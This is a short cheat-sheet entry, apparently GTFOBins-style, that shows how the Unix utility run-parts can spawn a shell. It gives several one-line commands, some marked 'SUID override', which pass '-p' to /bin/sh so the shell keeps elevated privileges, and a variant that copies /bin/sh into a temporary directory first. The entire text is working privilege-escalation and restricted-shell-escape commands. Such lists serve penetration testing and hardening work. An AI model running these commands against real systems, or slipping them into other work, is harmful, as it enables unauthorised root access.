run-parts

Shell

run-parts --new-session --regex '^sh$' /bin

SUID override:

run-parts --new-session --regex '^sh$' /bin --arg='-p'
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/

SUID override:

cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/ --arg='-p'